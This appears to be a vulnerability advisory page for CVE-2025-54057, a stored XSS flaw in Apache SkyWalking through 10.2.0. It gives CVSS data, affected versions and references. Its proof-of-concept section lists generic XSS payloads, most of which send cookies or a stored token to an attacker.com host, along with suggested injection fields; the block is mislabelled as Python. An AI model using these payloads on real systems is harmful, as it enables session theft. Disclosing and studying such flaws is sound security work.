CVE-2025-54057

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Apache SkyWalking. This issue affects Apache SkyWalking: <= 10.2.0. Users are recommended to upgrade to version 10.3.0, which fixes the issue.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:* - VULNERABLE

Apache SkyWalking <= 10.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-54057 PoC - Apache SkyWalking Stored XSS -->
<!-- This PoC demonstrates the XSS vulnerability in Apache SkyWalking -->
<!-- Target: Apache SkyWalking <= 10.2.0 -->

<!-- Method 1: Using script tag -->
<script>alert(document.cookie)</script>

<!-- Method 2: Using img onerror handler -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- Method 3: Using SVG element -->
<svg/onload=fetch('https://attacker.com/log?data='+localStorage.getItem('token'))>

<!-- Method 4: Using iframe -->
<iframe src="javascript:fetch('https://attacker.com/xss?c='+document.cookie)">

<!-- Method 5: Using event handlers -->
<body onload="fetch('https://attacker.com/cookie?c='+btoa(document.cookie))">
<div onclick="fetch('https://attacker.com/click?x='+Math.random())">Click me</div>

<!-- Attacker would inject one of these payloads into: -->
<!-- - Service names -->
<!-- - Endpoint descriptions -->
<!-- - Log messages -->
<!-- - Trace annotations -->
<!-- - User-defined tags -->

<!-- After injection, any user viewing the affected page will execute the malicious script -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54057/
[4] VulDB https://vuldb.com/cve/CVE-2025-54057
[5] https://lists.apache.org/thread/sl2x2tx8y007x0mo746yddx2lvnv9tcr
[6] http://www.openwall.com/lists/oss-security/2025/11/27/1
[7] http://www.openwall.com/lists/oss-security/2026/04/13/3

Raw JSON Data

JSON

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